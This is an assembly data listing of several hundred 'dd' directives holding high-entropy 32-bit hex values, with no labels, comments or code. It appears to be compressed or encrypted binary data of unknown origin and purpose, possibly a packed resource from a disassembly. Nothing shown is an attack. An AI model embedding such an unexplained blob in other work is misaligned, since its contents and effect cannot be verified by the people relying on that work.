dd 3C3CCDBAh, 0D410ED9Dh, 0AFFEDA2Bh, 8801E00Bh, 0A08081BDh
dd 8AC0C0B8h, 0CC40282h, 0EC9B4ADh, 0C4EB90E1h, 0E720748Eh
dd 1850B00Dh, 21CCBCB7h, 8A0112C7h, 8BFDC4A6h, 503DCEBDh
dd 0C8B00725h, 0A4608F1Ah, 0E8979368h, 0B4A128FCh, 344BE780h
dd 0C0A683B0h, 0FA180494h, 29CCA160h, 7C34BAFDh, 0E4CEB82Eh
dd 0C50F420h, 705CAA8h, 6CDB58Eh, 0DC0BF001h, 0D8D19D97h
dd 3ECEA5ECh, 0D398E60Ch, 0BFF82103h, 0FBD9AF0Eh, 0C8CC8AA4h
dd 2D67306h, 27C65B90h, 0E19A64E0h, 4B380D80h, 8BEEF010h
dd 16D91BB5h, 0ADE1E893h, 852880B6h, 993BEC84h, 801C90A6h
dd 4A02D5DCh, 0B9B000ADh, 0A50CD7ABh, 33CB674h, 0B817CEAFh
dd 0A553E072h, 801097C4h, 73FC848Ch, 0B11CF8E6h, 6CDC28CCh
dd 0D88D8FAh, 0D0DCB351h, 0D0A296E6h, 0E8FD80Eh, 1CF9500h
dd 498BEA3h, 80A183F0h, 4E0820A5h, 0C958CC14h, 0F0AF2AB0h
dd 1D37438h, 2EBBAB8h, 81F3B0B4h, 288F79B3h, 0E91973A1h
dd 92A602D6h, 5FDC9858h, 0B060962Bh, 4EDCA530h, 0CB60D4B4h
dd 90A7B60Ah, 0F4A65344h, 0F564644Ah, 2042F6F0h, 0FC003070h
dd 0CCC81E7h, 0CCC4A18Ah, 0AFC098E8h, 7CDBC17h, 5EB847Eh
dd 0CF7DB40Ch, 3DBC042Bh, 0CE5393Eh, 19CC15FFh, 74B100AFh
dd 0CFE146A2h, 0C96E4E79h, 1221F808h, 0F67472BAh, 0C23D0E44h
dd 7BC01E5Dh, 6AE78A46h, 630AD800h, 124D43CCh, 0F57D1CFEh
dd 4E3A00F7h, 0CD164B2h, 4C761F07h, 308C0392h, 0D68900B4h
dd 8EF804BCh, 7960E795h, 0F1FA3BA0h, 4A60C003h, 0ADD45072h
dd 30A90A00h, 0C234B514h, 0C8F4031Dh, 0C0D8CF7Bh, 209E1CFAh
dd 0D14523h, 0D6CFE11h, 472A748Fh, 2F008C0Bh, 0F3DD363Fh
dd 3139F8B1h, 87B8C67Ah, 8875E074h, 35159BE8h, 0F26C1F70h
dd 0BC101ADCh, 1000E237h, 787BD3A3h, 0ACA50D40h, 0C5DE401Ch
dd 38D992B0h, 3A1CA1C0h, 1F91E218h, 608AC8E0h, 0EA3B61B2h
dd 18C020D1h, 0E2DB4D44h, 94FA5149h, 0F8C001E7h, 3E679084h
dd 7DE882D1h, 0B9350602h, 3006C4A8h, 2C2B4486h, 0F1CEC4D2h
dd 91117842h, 9BC887A1h, 0DFF1C777h, 0A88962D8h, 5020719Ch
dd 0F0948AF9h, 80A2423Eh, 0D21D1F23h, 1E88F827h, 183D3CB6h
dd 0B8D78B4h, 50D9C940h, 44BEC8BAh, 0D2A120C8h, 37308CC0h
dd 81910Dh, 2E2A2447h, 0B89C04B2h, 201C0B56h, 0C16B606Eh
dd 3359F2B4h, 0D15E5800h, 17A88553h, 0DA3F1420h, 0F714A0C4h
dd 161194A1h, 41A603DDh, 0A0BA9114h, 3897A058h, 6700046Dh
dd 4FDE5B6Bh, 20E33D56h, 48C06C0h, 46A774B6h, 20E262B9h
dd 6074BF0Dh, 3555E115h, 8E6EE880h, 0BD9E74A0h, 609BBA80h
dd 3BB1F977h, 75EEEFE3h, 37BDF918h, 62263FE8h, 15A7F8CAh
dd 0E4F4C700h, 36850310h, 24A9ED3h, 0C860187Fh, 0E543B0B9h
dd 0CF660703h, 0EF324B0Bh, 79E24240h, 4910F67Ah, 0B629B41Ah
dd 0D6659ECh, 8500B1C9h, 0C8689A2Fh, 0A91CD898h, 227828A3h
dd 339D8AEh, 20B029FCh, 0F87080E5h, 0A8729C5Ah, 0BFD08Ch
dd 0C0EB0A44h, 4FB34037h, 0CE158001h, 60E38243h, 0AC01E421h
dd 0ACFCE78Eh, 0C0105467h, 4009002Ch, 59288618h, 0F0638DD3h
dd 38B3FB08h, 4000CB20h, 3D50AC5Dh, 0DFF58A91h, 9705501Dh
dd 8045D0A8h, 0FA5019F0h, 290206F6h, 812FEB0h, 0BB216760h
dd 0DA5021h, 1BECE633h, 3CEAE1F7h, 9186C4A3h, 0F4DEC700h
dd 0A4246D36h, 23D20379h, 0DFD174EFh, 436C03A7h, 97CE7E8h
dd 0D0564632h, 400C30ADh, 0F0861711h, 0CC80F488h, 46B64003h
dd 0B74C0955h, 0AC2FAF64h, 918EFDC3h, 152AC7F0h, 16832301h
dd 0AF265F54h, 6A41F600h, 81FCE450h, 0B6B22F13h, 0EE49CC42h
dd 845302BEh, 80F18C8Eh, 0F60E5015h, 6A448C22h, 501D0BBFh
dd 5C0225F1h, 0BD00520Bh, 900CC9F2h, 4B770C3Ch, 0AC895A2Fh
dd 0F77A440Ch, 3A3B2870h, 0E740A9F2h, 792806F0h, 0B0468C5Fh
dd 14400D02h, 0F8310886h, 40041317h, 463F86D8h, 2368AB6Fh
dd 4D43642h, 8E3705D8h, 514890BEh, 18C0EAC2h, 4F657795h
dd 2DA90B2Bh, 74024C41h, 0C062F169h, 18022841h, 0A37408B2h
dd 0E3C4D946h, 74BB1141h, 3342680h, 7261F6F5h, 0E47000E3h
dd 915F8DDBh, 0A0A8759Ch, 0E7009E6Eh, 481F85D3h, 0A04E74B0h
dd 61037Ch, 8B8E162Fh, 0FB91A8EDh, 0E6526CA4h, 0C038F794h
dd 4C98FC53h, 0A815F302h, 46823E51h, 0BB00A108h, 50041818h
dd 28FAF609h, 0BC206C32h, 4CE45020h, 3A056BB6h, 11CB9EAh
dd 333D78E8h, 0EB924136h, 0B710205Eh, 78605841h, 182141A1h
dd 0E7FCF898h, 27C86500h, 86470696h, 0BE8A5BEh, 48853CECh
dd 44D40BF0h, 0A529884h, 85C3F013h, 3CDE367h, 0DDF9C740h
dd 98029546h, 65217D1Eh, 0D4A048B5h, 0B38C0EA3h, 863893Ah
dd 830B933h, 0ABF221C0h, 103D488Ch, 0B8226273h, 0ACA0FE66h
dd 0C42A42F1h, 1F5160E9h, 0DECC2900h, 40AAB82Eh, 72440677h
dd 382CB1FAh, 7D701148h, 4007058Ch, 3818861Ah, 0FE07C9DCh
dd 68944340h, 1A1277D0h, 8D5201E8h, 82449A8Fh, 1C7874FFh
dd 32D16901h, 4A52566Eh, 9953F824h, 4E9B8104h, 0FC4CA86Fh
dd 466FF78Ah, 0E8706A38h, 0D7B5C280h, 7CA2EBA7h, 0FA53709Fh
dd 0BA600191h, 7C2548A6h, 0C6982031h, 5349797Dh, 0E1FA17E4h
dd 661C8C42h, 589CA3BAh, 2571F0E4h, 1D9E86Fh, 8857519Eh
dd 3614D191h, 76BC000Ch, 0C7CA95E5h, 0A46E0486h, 8AE48F90h
dd 3AF2378h, 8615400Eh, 20F56284h, 314005CEh, 209FE00h
dd 0F06B9CADh, 0D61D1FE0h, 0EBAC05C4h, 128460BAh, 511C6DFEh
dd 20E574EDh, 0CE5F2564h, 9F0480D6h, 0AA378809h, 51ACA1C9h
dd 300BDFEh, 68933469h, 0A808F112h, 5017C3BCh, 2912F6A8h
dd 1FBD8185h, 70A92D50h, 950EA8EFh, 1849A7Ch, 7D3B8246h
dd 0CABE58BFh, 3282DA4h, 7A2799C6h, 6E9C1818h, 1D32C449h
dd 0C07F0575h, 8B9E70C7h, 260F9867h, 0E2680DA5h, 4C096D41h
dd 14ECE798h, 0F003517Eh, 4D2F708Ah, 0D07145F0h, 0AD87F124h
dd 2A5452F2h, 3C01DBCCh, 5CAFE733h, 0E0337BECh, 9830FAA2h
dd 0F816041Bh, 88CD6261h, 0AB44AE5Ch, 37580644h, 881609FAh
dd 346D090h, 0A674B502h, 0F8E7C146h, 74BE0E00h, 9ED22Ah
dd 543ECA64h, 564A4E84h, 918D84Dh, 68CEDE2Fh, 81DD2A58h
dd 2654264Ah, 3616CCEFh, 29A6FC30h, 0D6960002h, 7B84CE3h
dd 5D07C4E9h, 88241B8Ch, 0EDEED990h, 26A17EE4h, 11408BA7h
dd 8CA28022h, 8C913AB2h, 0EFC744h, 6AD18CAAh, 31FFEC2Ah
dd 6701041Dh, 3218ACCBh, 559404F4h, 0E2643229h, 0FE6C30E1h
dd 0C9AB626h, 0E2290340h, 6FD203ADh, 2EE666E3h, 0F5B216F0h
dd 95523201h, 2DA8CF0Fh, 907C1020h, 0C956228Ch, 497B3130h
dd 0BAF2624Eh, 84872438h, 1DCFC224h, 0D9C0CC6Dh, 4091EA3Ch
dd 5000E703h, 0E3AF31Ah, 0B1DE7267h, 37874320h, 8E5DDE2h
dd 1D3CBE0Fh, 6416F713h, 284A009h, 0AC10E48h, 0BFAE0810h
dd 0F510C400h, 12A6756Fh
dd 1261F791h, 12F46094h, 0C2302F86h, 0E69530C5h, 242576E5h
dd 871C0465h, 30DD35FCh, 34A2491Ah, 6AFE9614h, 0D4F100D9h
dd 389B8DF0h, 90F0AC90h, 1B94628h, 0F607501Ah, 620C28EAh
dd 22BA88h, 0D72AB850h, 19B24A84h, 0F1D64E01h, 6BFF7A43h
dd 9186405h, 748CAEE0h, 0AC4CBEC0h, 0BA6E8474h, 617A3A46h
dd 5E092898h, 9890FA6Bh, 4D74F07Ch, 4684A04Ch, 60950EDBh
dd 0F0C5A660h, 16AA1287h, 0D43C47C7h, 45DB069h, 760C68ECh
dd 518B9A78h, 0D2222534h, 30105C1Ah, 0BA5C671Fh, 0E79F85FCh
dd 0F6C8148Bh, 0A5EC27C0h, 77EF0B8Fh, 58820A32h, 2007533h
dd 53B684F7h, 0C12F071h, 5078C766h, 0CE193291h, 0CD1CC204h
dd 78883603h, 1A3A1056h, 50E401D7h, 0BB4D01B7h, 90FCB460h
dd 0D748434h, 89DCAB3h, 484C3660h, 11D2318h, 3AB78CA7h
dd 88CC18A9h, 8C02AFF6h, 0C34206CEh, 0FD9040F1h, 38CCB926h
dd 1FE0C5FDh, 2030086Dh, 0B48CA4C0h, 2281463Ah, 0ACF100CBh
dd 0E479708Ch, 4800E7FAh, 69E53DC6h, 2A9244A4h, 0ADC71A3h
dd 0D60FB8C2h, 30030588h, 0FE8C4097h, 7137B09Fh, 3E26023Ah
dd 82C8484Ah, 405FB52Dh, 403A3FB8h, 0EF58ADD2h, 12E3850h
dd 51F81431h, 0AC40DA4Eh, 99712EDh, 383CEACEh, 0C23D7880h
dd 0E494F36Dh, 0C85510B2h, 947A7898h, 4344544h, 607784h
dd 6AD68B12h, 0B430F5FFh, 23CD07B5h, 6331061Fh, 0C7F2F5Dh
dd 1CED9510h, 3D8D0B04h, 0C08B0016h, 0F01BF66h, 0C1BD8343h
dd 7581185Bh, 51129E09h, 19740C22h, 0B8345350h, 3BAD14Ah
dd 0F65856Ah, 9D8D2403h, 0A21AFA4h, 585BD372h, 1017C422h
dd 0AC93F120h, 55E06A18h, 2E03E837h, 0C35D2001h, 0FF3A89C9h
dd 1A7E33h, 0C3554521h, 0E0A8358Ah, 2E0A4006h, 1F0CE9h
dd 61AB0701h, 0D0F86E08h, 115ABA01h, 0C88B662Ah, 87536C91h
dd 8922C35Bh, 1016315Ch, 18C35343h, 421176C4h, 960E9D6h
dd 88E671Dh, 20B20515h, 191AA6B0h, 1851629Ch, 23C37259h
dd 17114C89h, 0C3514100h, 0A75DF367h, 1911E931h, 0E3E80DB4h
dd 4F9B0087h, 5B4148A9h, 880096A8h, 89FAD9DCh, 0A01B8D9Dh
dd 3085C6ACh, 470C2025h, 0F60BBA66h, 5C168F0h, 7C2E931Ch
dd 0AB091723h, 8AA402A7h, 0D93C41C8h, 0C081639Eh, 3B158364h
dd 4D34858Dh, 332E1839h, 99001C23h, 16F506C7h, 0A4E6094Dh
dd 29048B11h, 0D0FF012Ah, 33800EE8h, 90F2CD53h, 19F8ADEDh
dd 2C120300h, 893432EFh, 21D31BDh, 4B505A36h, 0C01B8847h
dd 0B3D917DEh, 6D231603h, 0AE95Dh, 390EA421h, 0B7907C76h
dd 894A6C38h, 2855B589h, 610485B5h, 57482207h, 91C35FC3h
dd 19187C89h, 1C574788h, 439218C3h, 0C7E19ED4h, 1F019483h
dd 0D3D78166h, 3023582Bh, 0D23014A2h, 0ADBD3D01h, 8E0FAAE3h
dd 8D291F70h, 56115BB5h, 22C35E87h, 18317489h, 0C3564610h
dd 10620C01h, 5760AD8Ah, 1CE98941h, 56615800h, 2995031Ch
dd 0C22BE729h, 56CA2578h, 0B900B2C7h, 0EEC7637h, 46F7883h
dd 8219E8D8h, 2E758D8Bh, 91B2826Bh, 85C72848h, 143F566h
dd 0BF0F132Dh, 756404C8h, 714C590Dh, 0BBEE913h, 1232F507h
dd 0F220A645h, 0FBF6198h, 8DC2E6C3h, 5D40421Bh, 0E1AC5021h
dd 242CA631h, 334110DDh, 8143E84h, 58C3508Ch, 448991C3h
dd 40808433h, 5CDFC350h, 36A65400h, 8D23C6ABh, 752E5009h
dd 6B1868D9h, 78B1475h, 40D9D540h, 8C016608h, 0F6F18ADBh
dd 988804C3h, 0C728057Bh, 9F32C529h, 982A0E94h, 811D2120h
dd 34BD880h, 148081A6h, 0D79958Bh, 81605799h, 11538DAh
dd 866843B4h, 43E3E45Bh, 0BF49C1DAh, 0B2098A3Eh, 4C0C111Ah
dd 12E9373Eh, 185BE06Bh, 0DA000F1Eh, 0B9DD3A83h, 1ED90494h
dd 0D28C0252h, 2B440BA2h, 39304h, 0A934B8BFh, 468246Ch
dd 0A60F940Ch, 81129C42h, 0D7173203h, 176565C0h, 71043ED3h
dd 530A07A9h, 1C4674E4h, 0A6D19500h, 0D61E61A9h, 0F545E0Ah
dd 0F54BB286h, 45DFDD10h, 37ACE100h, 8973291Bh, 0B02F00C0h
dd 1660179Fh, 0A0315DC2h, 99B6E2C7h, 54159244h, 0DE040C43h
dd 4055B450h, 7D0CBA0Ch, 2E4726B9h, 0E00250FDh, 58A370Fh
dd 0D8BDF077h, 50051E9Fh, 26799D29h, 0F9D0C120h, 0BF30C621h
dd 0B52420FEh, 9543F8E1h, 0FC0D01A1h, 230CC483h, 19749BDh
dd 0BB806896h, 1203B667h, 0A915DF17h, 52501832h, 0BCA43051h
dd 2AAEE06Ah, 12876850h, 65C7B15Eh, 8918641Eh, 2220A045h
dd 823A14D2h, 0C7031523h, 0E68F0FD4h, 0B9663E17h, 0D6BA4500h
dd 3D14920Ah, 2037D024h, 293B838Ch, 0B18D1A03h, 45129224h
dd 5D19782h, 70BE803h, 6477F02Fh, 0FF3AE079h, 540A7C9Ah
dd 8B5AF906h, 20107508h, 2CD520C0h, 3DE0E936h, 23592B16h
dd 0C5BA1C35h, 25178814h, 0D0F4A22h, 2B5643D2h, 2D6935FAh
dd 7214A65Ah, 1A4674h, 16D6C6B0h, 0D0C2F928h, 13489C44h
dd 2B8F0AD2h, 60882C3Ch, 0C007E045h, 8A8BBD00h, 47405356h
dd 9B6406C9h, 301A2F4Ah, 0CF69D2B0h, 8066B79Eh, 0B679776Bh
dd 98B10B5Bh, 551AB5ACh, 0E42285FDh, 4ED1D322h, 5276C849h
dd 91C35AC3h, 1F235489h, 0C3524281h, 95D69C2Ah, 838B9564h
dd 0AF82F7F8h, 0FC06014Eh, 0BA5A1678h, 23D43B21h, 0E1DA001Bh
dd 0F02C2DBBh, 0D614FD31h, 87221B69h, 75BA660Fh, 0F98B5E78h
dd 0B24A63E9h, 0B6903015h, 95292FB0h, 0CD208B2Dh, 3909FA40h
dd 0DD0E59Dh, 5882C0Fh, 0D836C394h, 0F3A77E46h, 0B2F59ACCh
dd 0E066D4h, 86DEDAA0h, 0A8CCFFDCh, 333A910Eh, 7C64C0FBh
dd 0ACF8150h, 5E72171Fh, 8721C8ECh, 0F06F3F3Bh, 70E8AF3h
dd 13852E07h, 6DC5C9C0h, 1E64DD56h, 1C3164C1h, 0ECB68105h
dd 18E244FCh, 0A8EBA4B1h, 0DBD11C2h, 854E6C31h, 6018C4BDh
dd 24C17361h, 7C82C41Dh, 980F1446h, 1ACB9531h, 0C1C69EAEh
dd 0E1F89910h, 0BA04FFB2h, 6982D5DFh, 0A360C3D8h, 0CE2FCAFCh
dd 9CF00CAh, 0BEED93CAh, 0F500EB04h, 0B66A1759h, 19E2B756h
dd 0B061D7A8h, 20012153h, 5C24460Fh, 3F0A4B59h, 0D80496BFh
dd 91442202h, 65021311h, 21B9995h, 7B97046Ah, 36801C11h
dd 0BEC6C8CFh, 408E2F06h, 6074F8E8h, 0BD895BB5h, 75D41405h
dd 8C17E84Dh, 4C5AD709h, 11AD1FEBh, 8A258314h, 0BF3C03E8h
dd 30D95692h, 0B59801BAh, 0C10E8223h, 2062B61Eh, 6A1B2296h
dd 0A66302D2h, 70305C9Bh, 289400CCh, 1D465Eh, 0C2EA8242h
dd 0E52E1EE9h, 44DA7561h, 6F7505E3h, 44D4734h, 81C07ADFh
dd 2908811Dh, 111924C7h, 0C4468F45h, 13F0DE8h, 0FB16BB14h
dd 0CC4A2D81h, 480BE5EEh, 10E8FDADh, 0FCA107h, 7344B574h
dd 0EBF52D3Ah, 486D6400h, 18725AA5h, 5FD5E953h, 0BC801E38h
dd 361FA045h, 0C78AA200h, 9D10EB21h, 573B006Eh, 65BCE981h
dd 5F0958B5h, 0B7C08B59h, 290C87B4h, 104EC00Eh, 798C1E6h
dd 0C1E314E1h, 903FD2E2h, 5760BDD2h, 785156E2h, 0BB9530B0h
dd 3EAE3102h, 5160ED70h, 9CBF801Dh, 1263622h, 6A7D952Eh
dd 0FE26198h, 2FDB186h, 1A558D29h, 191335Bh, 23132F4Fh
dd 917D0019h, 33BBDFB5h, 0AD350975h, 2530560Bh, 7F1994h
dd 0FE9B3852h, 72D65A81h, 0DD795C0Fh, 0E9FF6376h, 2E2D0E08h
dd 0F8005639h, 5F2C53E2h, 0E7B86804h, 0AA81CEE4h, 34281BE5h
dd 6DC00CB4h, 0D40A687Bh, 19C005DBh, 0A33125F0h, 50F7C20Eh
dd 0A868B980h, 0A1120ABh
dd 74C00B1Ch, 32D88BCCh, 2207223Ch, 109D352h, 9388366h
dd 0B5410A75h, 9E1932C1h, 7760F956h, 617D325h, 3573056Dh
dd 0E09E14Ah, 0C45EC701h, 0F90A601Dh, 196C02FCh, 46D49AE7h
dd 20D77D41h, 8E4E8348h, 9C342728h, 0CA00F696h, 289EFDE2h
dd 0A9F8CEB1h, 0E90105CCh, 12F894Ah, 0A458EAB5h, 825932D8h
dd 8DF5A50Bh, 0AF032768h, 0E8A92415h, 0EFC54017h, 0BE09FB35h
dd 9843DC0Ah, 0A237D2h, 9C39C401h, 0F25B83F1h, 0DAEDE07h
dd 0FDF04E55h, 91505A41h, 1814D17Ah, 0AF858A5h, 9911C54Ch
dd 13222Ch, 0AED6EEA0h, 47B232D5h, 0CCB86B00h, 8FF90F93h
dd 0DC310BCh, 0C7810198h, 5FEDA180h, 8C8CD474h, 0B1FFE112h
dd 2B0D1704h, 0CA8B6003h, 0E8F7B8F0h, 3FB06150h, 0BF0F8CA8h
dd 0FF4B6AFCh, 84001C6Eh, 715C6AC5h, 8014A191h, 35C2E9F2h
dd 8C107D85h, 0BCAE4D36h, 40E85E71h, 2554F123h, 690131BCh
dd 0E66212D1h, 0F8823FC3h, 5F1185D9h, 74A6B9F1h, 4B40E09h
dd 0D6945005h, 1FA1C8Ch, 1DD30243h, 0C450BB6Eh, 5B948F0Fh
dd 0B10E98Ch, 247900F5h, 5E7B73B3h, 0A101A0A7h, 61527ED8h
dd 7288FC71h, 0E8122DB1h, 0E6412720h, 0ABF63DA0h, 0F13E1183h
dd 3A0936Dh, 320028C9h, 0D38B04A7h, 25B5295Fh, 0F1A62CDDh
dd 8D90ABDAh, 94077920h, 1B5D1835h, 0A5B6CE8Bh, 4A1D4674h
dd 0A627A540h, 24F8E7D7h, 4044E8E3h, 4E9AE16Bh, 8A266E00h
dd 359F5E63h, 2DBF00ABh, 59481168h, 8B1466ECh, 40EF5ACBh
dd 0E52A8057h, 234CFE39h, 1BDB184h, 0DD7284EAh, 404335B1h
dd 0CBDC22CEh, 1D4444A7h, 2B8CC960h, 1BAD2607h, 6080ABEFh
dd 2C8B50F8h, 0A160E1BDh, 20E81657h, 83306571h, 0B7700813h
dd 2413204h, 4060590Ah, 1A3D9D89h, 0C5EE5284h, 33FDBD1Bh
dd 0AEAAC621h, 0FF00D477h, 43D59978h, 6C505247h, 0B170C4A5h
dd 0E94FA892h, 497F3B40h, 25DFFF3h, 0A936045Bh, 7292A051h
dd 13E53540h, 0DF20C6A5h, 0AD56D762h, 0E6698424h, 408DE94Ah
dd 4F9AD8CDh, 0DC273E32h, 503E2C9Dh, 7F78FDB3h, 2F6A0076h
dd 80571FBAh, 5F5250F5h, 355425Bh, 7A6260BAh, 0EAA2226Fh
dd 0B2F2F7A0h, 0B896AF64h, 8ECB8A44h, 0C114C88Ah, 6C8D0F07h
dd 19582C1h, 622B071Dh, 2045083Dh, 29850107h, 0F50AEBAh
dd 2924A483h, 9B10D99h, 47E72C41h, 0E9601A64h, 5809B12Ah
dd 5739A23Fh, 9B6F6E48h, 0CA1D9705h, 89084BAFh, 38F8AC6Ch
dd 8133145h, 1740094Ch, 8AC19250h, 64D4476Eh, 2B5B6016h
dd 0BC86ACA7h, 0AD13DC29h, 0E945DD9Bh, 9D0D4F7Ah, 0E4399ADEh
dd 8A0EB4BCh, 0F9F8B70Fh, 22E8F158h, 7B96A15Ah, 0F0B95011h
dd 5C56C67Eh, 0EA306186h, 6D497C9Ch, 6415FB43h, 45E2A00Dh
dd 0B335840Fh, 0F9565284h, 26EF5FC9h, 42180576h, 0B512F872h
dd 50798B5Ch, 4E004464h, 0D8878A62h, 64A174h, 81CC28F3h
dd 0E171D4D7h, 74592F31h, 8C06F976h, 508107E4h, 62811438h
dd 785EBA8Ch, 0A315272Ah, 0A7E5957Fh, 916F9D69h, 9D978019h
dd 290C2D9Bh, 6F9660BDh, 0C7D04C30h, 63201B34h, 2AFF75E0h
dd 90C761AFh, 0C0852E7Eh, 22021CFCh, 4C28D34Ah, 4130A811h
dd 15218827h, 259D0980h, 291C1EA1h, 9D1E1B50h, 7DF6F555h
dd 5384C425h, 0B146F230h, 0B4F8522Ah, 12B10F75h, 7F2D710Ch
dd 53E2AAE2h, 7D1A70EBh, 7CF4740Fh, 29BC96Eh, 21D9DE6h
dd 4DF9800Fh, 0C94C3811h, 3322A927h, 0A64AFA85h, 0B9709673h
dd 150D00EEh, 0CF8185B5h, 0F22874F5h, 0E70F8075h, 52501782h
dd 5EB96D60h, 5ED2611h, 60CA8036h, 2FE98533h, 0A508A691h
dd 0C461142Ch, 154884A1h, 1C31916Fh, 3F9988Ch, 15B62E29h
dd 750991D5h, 0F9A57103h, 87934F25h, 8297B2F9h, 123C513h
dd 0B226E95Fh, 2B815819h, 16115A1Dh, 68432880h, 0A7B3D18Bh
dd 2D06BD0h, 3ACEE1D7h, 0F766820Fh, 0B11F8622h, 0F7EB80EEh
dd 9772F3C6h, 7366A1Dh, 775D83DEh, 91416C1h, 322A32D1h
dd 0F3F95970h, 1E05294h, 31505FD3h, 813299BDh, 2B092576h
dd 40982D4Eh, 38600E44h, 1CEBD29h, 0D5952391h, 0C4FA482Ah
dd 6EED1048h, 8B47824Ch, 26A45EC0h, 0D01FA7B1h, 0FEFDD311h
dd 6055A417h, 81DBC9D4h, 3FE0D0Dh, 584E8809h, 0D6C01888h
dd 48A78F6Ah, 3510DCDBh, 0BD81100Bh, 65726F81h, 0B18E2061h
dd 0C440A586h, 0F6E8601Bh, 42AA1C63h, 309712DBh, 0A3D57989h
dd 402EA801h, 5AB9BE48h, 5031EA26h, 0DF9AF0Eh, 0A106622Ah
dd 0C425D572h, 203660Ch, 184F6844h, 2B3C96A3h, 132CD88Bh
dd 9A6167D3h, 1E38694Ah, 0FE930874h, 8165EB19h, 10C15B4Ah
dd 3539B529h, 0D6BF384Dh, 0E4D62609h, 4087BEC2h, 4CC4CEE3h
dd 0C9A72D00h, 0ACDBAE84h, 98CD0451h, 0F0E80A02h, 69E80FD8h
dd 8B6635C2h, 0E9DF79FBh, 1A111197h, 8B1B0980h, 33249578h
dd 5D0ACE5Ch, 2E45B108h, 22954A88h, 67701CD9h, 58B0B384h
dd 560287C5h, 0F6BDB966h, 91E26559h, 0C7810230h, 69D734ECh
dd 8FA459A0h, 6004115Eh, 0E9BB1248h, 0EFC59C1Ch, 62928820h
dd 0D4009D66h, 0E15EED33h, 5994C217h, 3B223CD7h, 6E14249Eh
dd 13447731h, 4B99E9h, 0C9C318E6h, 0CD00FCE8h, 7DD83695h
dd 2EDE45BAh, 5B0BD78Bh, 0BA6641B4h, 9725E4Ah, 2F5B76D0h
dd 1923E1h, 0DCD85F3Ah, 0E935DB89h, 0C0F1FBCCh, 0CDBFC241h
dd 0FE2C97F8h, 5E9AAA85h, 481E10EEh, 98F9263Dh, 0F2D4477Eh
dd 56AC17D4h, 407BD08h, 0A1F5B509h, 6D86A72Dh, 9B4EC00Bh
dd 0AC09F4A4h, 129F058h, 3F68D1A6h, 0BF00C647h, 770BE650h
dd 7268ED73h, 0D1F5374Ah, 60165BDh, 78E49B1Ch, 54C8825h
dd 6B214E11h, 253A0C8Dh, 1BA7B352h, 0B2F72B99h, 0EA82CA89h
dd 0AFD15167h, 13ABD7A8h, 0ACE92F2h, 0DE4F3A20h, 73450361h
dd 99303BE5h, 2920BE5Ah, 767C9Ch, 0B63A1259h, 19A2DFE6h
dd 0F2378D1Dh, 317A2E42h, 0BB60005Fh, 5312F0C0h, 0F8A1F82Dh
dd 52857E20h, 8A1A8D0Eh, 0D7C008D3h, 3B9D0D45h, 4AB27533h
dd 0D9FE882Ch, 0B4012444h, 0C548408Bh, 33011D16h, 5BFDE144h
dd 84DCDD64h, 80240978h, 68028789h, 5F053005h, 0B960CCh
dd 0A558E777h, 5E098BEAh, 0C438E50Fh, 0A6E0086h, 0C9FEF9ECh
dd 659D01D4h, 4C801811h, 586D344Dh, 6C14BA06h, 954E5427h
dd 5909B8B7h, 3E1480E5h, 48FF68C4h, 81074A01h, 74963BC1h
dd 4195CB08h, 99B40148h, 404F082Eh, 0F2B650F8h, 59FD043Fh
dd 47A22CE9h, 0F8F82510h, 4F078C1Bh, 4E307AF7h, 41EF8EE2h
dd 7197CF99h, 0EC6B10E2h, 67C99D1Fh, 58F287A4h, 0C40785AEh
dd 53DE9519h, 0DEE28BE6h, 91954D60h, 59700497h, 0BF229089h
dd 80E69B4Eh, 0B0F3ECC4h, 875D0B13h, 0E5010D25h, 4C7CE9D7h
dd 1848C5BBh, 67F68BBCh, 6017C44Ah, 2C4296C2h, 4E60E88Fh
dd 4EF65D80h, 2500D152h, 70779CD7h, 2850452Ch, 74ED68FEh
dd 0B6CF76EBh, 984120AFh, 62979660h, 32091241h, 799A052Fh
dd 4110F8A2h, 1D18622Ch, 5C356C17h, 0D0C33F03h, 0FC13106Ah
dd 878B31D5h, 18228415h, 0CF49CF24h, 84488CE9h, 69FD0B51h
dd 0E95F0A7Ah, 0EABF5A21h, 98C95619h, 0E1B7EEh, 7E383F2Eh
dd 0E7D0DBB2h, 2BEF9B02h, 403D4E3Bh, 0F1FD8D3Fh, 1782400Ah
dd 0E7F18Ah, 6C7A8B4Dh, 35000F7Fh, 4CD059Bh, 0A781AB0h
dd 0A2E360EAh, 2B2C2D93h, 15569DA2h, 2C092193h, 0E4C31C5Dh
dd 45243BE8h, 6021CF0Fh
dd 7C6BBC48h, 0B9438055h, 3EAAA102h, 0D4001108h, 2B693B5Ch
dd 9A9DB58Dh, 70AF81D8h, 74FEC6A3h, 0FECB95C9h, 72046E97h
dd 0CCC97F02h, 2F13752h, 0A40805E5h, 881B3D08h, 528EE295h
dd 0FCA1EA29h, 0AAE25996h, 0A780A200h, 680A8222h, 0C09E5474h
dd 925F56E2h, 893A8E5Ah, 0D70F92Ch, 686EA6A8h, 8C19FC83h
dd 2A7BDF02h, 84C428DBh, 0FC4C0142h, 424FB554h, 99335EC9h
dd 11E32501h, 0C8A10C71h, 0C21293F1h, 2B4A036Ah, 0CC264A1Dh
dd 81B610Ah, 0C9950102h, 7FF20909h, 0B926C066h, 6EF8C4CBh
dd 8879CFF8h, 0CA6DC11Ch, 0DFC0FA9Fh, 0EB4EC7E4h, 4E8A73CCh
dd 6061C8F0h, 0BDB0464h, 54A0B44Fh, 21085A9Bh, 79526609h
dd 1B85183Bh, 228F003Fh, 14ADA95Ah, 6E1CA19Eh, 7A802917h
dd 0FF87DD50h, 2DC1085h, 0A2894A22h, 0C070521h, 140586F9h
dd 0DF8102DDh, 1851692Ch, 5FFD5C60h, 0EF304724h, 5AF59F07h
dd 4F18001h, 4F0D3E20h, 8B698802h, 0F228FB62h, 81170CEFh
dd 88E5C91Fh, 6430C0D7h, 921CC5h, 409E25CEh, 0F3D9D7D8h
dd 75968F00h, 82598655h, 7C7994CFh, 0D8F2D847h, 1730A617h
dd 0E4A9C8C8h, 41353D05h, 4BE8213Eh, 288C15ECh, 3FA261ABh
dd 25CAB5F8h, 880F1377h, 21EE23B8h, 88FD2D41h, 0F05D19B8h
dd 8028563Dh, 4BF2EA3Ch, 0BF28918Dh, 0D96728F8h, 0DBAD9E6h
dd 0D127EC9h, 0DB4F9D1Dh, 0A16AB5E2h, 20B278C6h, 2B1CFE2Ch
dd 80102859h, 9D8C03D6h, 0B1B7084h, 22664BE9h, 60620CB4h
dd 18F970h, 0A873B966h, 0D18B6116h, 803166h, 50B12AF1h
dd 1B45BD29h, 0B04921B1h, 2E9D0104h, 50022AFDh, 0D094870Fh
